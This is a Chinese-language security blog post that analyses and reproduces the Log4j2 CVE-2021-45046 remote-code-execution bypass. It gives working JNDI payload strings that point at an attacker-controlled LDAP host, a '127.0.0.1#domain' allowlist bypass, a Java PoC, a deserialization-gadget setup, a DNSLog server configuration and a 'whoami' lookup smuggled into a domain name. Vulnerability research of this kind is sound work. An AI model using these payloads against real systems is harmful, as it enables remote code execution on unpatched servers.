文章目录
0x00 前言
自从上上周四(12月9日晚)关于Log4j2的Log4Shell(CVE-2021-44228)漏洞被披露后引发了安全圈地震,笔者就立刻对该漏洞进行复现和分析,并持续跟踪这个漏洞后续的资讯动态。本想上周五整理成文发篇分析文章作为自己的学习记录,但文章没写多少,笔者的目光又被转移了…
因为自从这个漏洞披露后,目光聚焦在Log4j2的安全研究人员大幅增多,导致后续又有几个关于log4j2的CVE披露,包括拒绝服务的,还有一个RCE的,但条件都比较苛刻。尽管如此,其中可能导致RCE的CVE-2021-45046 还是引起了我的兴趣。笔者也花了些时间去分析和复现,虽然漏洞利用存在前置条件,但在复现的过程中,确实学到了东西,还是很有意思的,故以此文作为记录。
至于Log4Shell的分析,后面慢慢完成了再发出来,作为学习记录。毕竟已经很多人、厂商发过了,也不着急。
0x01 CVE-2021-45046 相关动态
- 漏洞影响版本:
All versions from 2.0-beta9 to 2.15.0, excluding 2.12.2
关于CVE-2021-45046这个洞,刚披露的时候只是说在某些特定条件下可导致拒绝服务,CVSS评分也只有3.7
,后来经过安全人员的研究,在某些特定条件下,还可以RCE。官方也将该漏洞的CVSS评分改为了9.0
。国内一些厂商也跟进发了预警。(参考[1][2][3][4])
0x02 漏洞浅析与复现
对于CVE-2021-44228漏洞在2.15.0
版本上的修复有了解过的同学就会知道,在2.15.0
版本中:
-
1、 默认是不开启Lookup功能,即
log42.formatMsgNoLookups
默认为true
。另外,从2.15.0
版本开始,已无法再通过设置该选项为false
来开启Lookup功能,只能通过在配置文件中指定%m{lookups}
来开启。
这一点,在2.15.0
的代码注释中可以看到:
-
2、 在CVE-2021-44228漏洞的
sink
处,也就是JndiManager#lookup()
方法中,进行了以下安全校验:- (1)
allowedProtocols
:只允许协议java
、ldap
、ldaps
; - (2)
allowedHosts
:只允许主机为本机IP127.0.0.1
、localhost
等。 - (3)
allowedClasses
:LDAP服务器的返回包中javaClassName
只允许为基本数据类型的类,比如java.lang.Boolean
、java.lang.Byte
、java.lang.Short
等等。(其实这个限制意义不大,后面会说)。 - (3) 不能加载远程ObjectFactory类。
- (1)
这里就不贴代码了,有兴趣可以翻阅2.15.0
版本JndiManager#lookup()
方法的代码。
既然如此,想要在2.15.0
版本上实现RCE,就必须得解决或绕过上面的两大点限制。
可触发lookup功能的其它方式
前几天,pwntester 在推上给出了在log4j2中通过配置文件(log4j2.yml
或log4j2.xml
或log4j.properties
) 配置Pattern Layout的方式去触发Lookup功能的一些示例代码。这其实是Log4j2提供的功能,详细可参考官方文档(参考[5][6])
这里以Context Map Lookup
为例进行说明。
Context Map Lookup 允许应用程序将数据存储在Log4j2的线程上下文集合中,当调用logger.error("xxx")
方法时便会在读取log4j2配置文件时从线程上下文集合中检索需要的值。
编写log4j2.xml配置文件内容如下:
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d %p %c{1.} [%t] ${ctx:loginId} %m%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="error">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>
既然能触发Lookup功能了,那么如果存入Context Map中的值如果是来自外部的输入,就存在被RCE攻击的风险。比如往Context Map中存入用于jndi查询的字串:${jndi:ldap://evilhost.com:8085/a}
,则在检索的时候便会触发JNDI Lookup。
绕过Host白名单限制+反序列化Gadget在本地环境实现RCE
前面提到了在2.15.0
版本的JndiManager#lookup()
方法增加的安全校验:
(1) 协议白名单:java
、ldap
、ldaps
;
- (2) 主机白名单:本机IP
127.0.0.1
、localhost
等。 - (3)
javaClassName
白名单比如java.lang.Boolean
、java.lang.Byte
、java.lang.Short
等等。 - (3) 不能加载远程ObjectFactory类。
因此,我们只能使用ldap协议进行JNDI注入。
至于主机白名单,这里使用Java的一个trick进行绕过,如下:
ldap://127.0.0.1#evilhost.com
当URI#getHost()
方法遇到这样的url时,会取#
前面,协议://
后面的部分作为url的Host.
至于javaClassName
这个属性,这个属性的值是从LDAP服务器返回的数据里取的,而且这个属性的值对于后续的漏洞利用毫无影响,只要修改一下LDAP服务端的代码,将该值的属性改为满足log4j2中要求的值即可。
还有最后一个限制,不允许加载远程ObjectFactory类,代码如下:
如上图代码所示,既然不允许加载远程ObjectFactory类,那我们就修改LDAP服务器,让其返回序列化数据,这样,代码还是会走到最后的this.context.lookup()
。另外,我之前的文章JNDI注入利用原理及绕过高版本JDK限制 详细说到了JNDI注入绕过高版本JDK限制的其中一种方式,就是让LDAP服务返回恶意的Java序列化数据,在目标服务JNDI lookup的过程中,如果目标环境classpath中包含了可利用的反序列化Gadget,便可实现 RCE。
所以这里实现RCE的另一个条件就是目标环境中存在可被利用的Java反序列化Gadget。
这里为了测试,我在目标环境中添加了commons-beanutils:1.9.4
,目的就是为了利用ysoserial中CommonsBeanutils1
这条反序列化Gadget。
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.4</version>
</dependency>
至于LDAP服务的修改,因为在之前的文章JNDI注入利用原理及绕过高版本JDK限制 中提到,已经在LDAPRefServer
类的基础上,新建类LDAPRefServer_BypassHighJDK
添加了返回反序列化数据的功能。所以这里直接复制该类,并命名为:LDAPRefServer_Log4j2BypassHighJDK
,并将要返回给客户端的javaClassName
的值指定为java.lang.String
。
到此,所有的准备工作都完成了,貌似只欠东风了。用marshalsec开启LDAP服务,用以下代码测试:
String poc = "${jndi:ldap://127.0.0.1#mole.org:8085/a}";
ThreadContext.put("loginId", poc);
logger.error("foo");
测试发现报异常java.net.UnknownHostException
,报错部分信息如下:looking up JNDI resource [ldap://127.0.0.1#mole.org:8085/a]. javax.naming.CommunicationException: 127.0.0.1#mole.org:8085 [Root exception is java.net.UnknownHostException: 127.0.0.1#mole.org]
从报错信息可知,在向LDAP查询的时候,当然会先对URL里的域名进行解析,但这里会将 127.0.0.1#mole.org
看作一个域名并对其进行解析,但这个是一个不存在的域名,结果也就可想而知。
那如果只是为了在本地测试成功,即我的LDAP服务是在本地的,要怎么做呢?答案就是使用互联网上的DNSLog平台的子域名 ,比如国内的hxxp://www.dnslog.cn,获取随机一个子域名,在对其子域名如e04yge.dnslog.cn
,甚至包括像127.0.0.1#bypass.e04yge.dnslog.cn
的形式进行dns请求时,回显的IP永远是127.0.0.1
。如下图所示:
所以我们就可以利用这一点,将PoC改为:${jndi:ldap://127.0.0.1#e04yge.dnslog.cn:8085/a}
,其中8085
端口是本地的LDAP服务端口。这样,在本地环境就能复现RCE了:
使用knary快速创建dnslog服务解决java.net.UnknownHostException最终实现RCE
为什么要讲本地环境的呢?毕竟一般而言,攻击者的LDAP服务都是在公网上的。确实如此。前面说本地环境,只是为了阐述一下解决问题的思路。既然公共的DNSLog平台能在捕获DNS日志的同时指定返回一个固定的IP。那我们是否可以自己创建一个DNSLog平台,并指定返回一个公网服务器IP,且服务器上部署了我们的恶意LDAP服务器?答案是肯定的。
笔者使用了国外安全友人@marcioalm 推荐的一个开源的,开箱即用的,可配置的,可用作DNSLog的程序knary。
因为之前没有自己搭建过DNSLog平台,所以过程中还是遇到了些DNS相关的问题。不过在不断试错和查阅资料后,还是成功搞定了。
笔者仅使用一个公网IP1.1.1.1
和一个域名xxxx.xyz
去搭建。
首先,我在ClouDNS上购买了个最便宜的域名xxxx.xyz
(用免费的也是可以的)。并设置A记录和NS记录如下:
如上图,前面三条(1条A记录和两条NS记录)为了能通过互联网正常解析域名xxxx.xyz
。
然后,我将dns.xxxx.xyz
作为我的DNSLog平台主机的域名。其NS记录为ns1.xxxx.xyz
表示用ns1.xxxx.xyz
这个Name Server来解析dns.xxxx.xyz
这个域名。然后创建A记录ns1.xxxx.xyz <-> 1.1.1.1
,让ns1.xxxx.xyz
映射到公网IP1.1.1.1
。这两条配置是为了让公网的1.1.1.1
的DNSLog服务去处理域名dns.xxxx.xyz
及其子域的DNS请求。(注:DNSLog服务,其实也是一种DNS服务,默认开放的也是UDP的53端口)
域名配置好后,接着就是在服务器1.1.1.1
上配置knary,以下是我的配置:
DNS=true
HTTP=true
BIND_ADDR=0.0.0.0
CANARY_DOMAIN=dns.xxxx.xyz
LARK_WEBHOOK=https://open.feishu.cn/open-apis/bot/v2/hook/<access_token>
EXT_IP=1.1.1.1
DEBUG=true
CANARY_DOMAIN
指定为你要记录DNS日志的域名;DNS
和HTTP
为true
,表示会记录对*.dns.xxxx.xyz
域名的DNS请求和HTTP请求;*_WEBHOOK
:knary支持多个webhook服务。这里我配置为飞书的。简单点说,就是配置这个后,可以将对*.dns.xxxx.xyz
域名的DNS请求和HTTP请求记录,通过飞书bot机器人推送给你。EXT_IP
:这个很关键,当对*.dns.xxxx.xyz
域名或其子域发送DNS请求时,应答给请求方的IP地址。这里当然就是配置为我的公网IP1.1.1.1
。DEBUG
:true
表示启用调试,这会在控制台打印一些调试信息。
一切就绪后,启动knary服务。
现在,在自己电脑ping一下127.0.0.1#`whoami`.dns.xxxx.xyz
发现成功解析,并回复了IP是我们的公网IP1.1.1.1
。同时,DNS请求记录也通过飞书推送给我了,使用knary自建DNSLog平台成功。
现在可以测试RCE了。在1.1.1.1
服务器上,使用marshalsec启动可返回恶意序列化数据的LDAP服务:
payload改为:
${jndi:ldap://127.0.0.1#bypasss.dns.xxxx.xyz:8085/a}
成功实现RCE。
0x03 在Linux上不能复现的问题
笔者的目标环境是macOS。看到推上有国外有人说在linux上没有复现成功,说是linux不支持对127.0.0.1#myhost.com
这样的域名发起请求。笔者在Ubuntu和CentOS上试了一下,发现确实如此。不过后来@marcioalm 放出了一个在某个Linux发行版上复现成功的说明。
不过笔者也没兴趣继续深挖了。毕竟这个洞相对CVE-2021-44228比较鸡肋。况且笔者对该漏洞发分析文章进行记录,主要是对其中的绕过原理和复现所涉及的知识点感兴趣。
0x04 小结
该漏洞相对CVE-2021-44228比较鸡肋,存在以下前提条件,但绕过原理和复现所涉及的知识点挺有意思的。
- 1、配置文件的模板里的参数,可以通过外部输入去控制。pwntester公开了一些lookup查询的配置样例(
参考[4]
) - 2、目标环境需要存在反序列化利用链。
- 3、利用的时候,需要创建你的dnslog平台,使得对
127.0.0.1#dnslog.evilhost
这样的域名发起DNS请求时,能返回LDAP服务器的IP地址。
参考
[1] https://mp.weixin.qq.com/s/iXP6hYGg891y8N3ZtXsQbg
[2] https://logging.apache.org/log4j/2.x/security.html
[3] https://mp.weixin.qq.com/s/roNtIXECg0LkgjFn-3Uwpg
[4] https://twitter.com/pwntester/status/1471511483422961669
[5] https://logging.apache.org/log4j/2.x/manual/lookups.html#ContextMapLookup
[6] https://logging.apache.org/log4j/2.x/manual/configuration.html#AutomaticReconfiguration
[7] https://github.com/sudosammy/knary
[8] https://zhuanlan.kanxue.com/article-11414.htm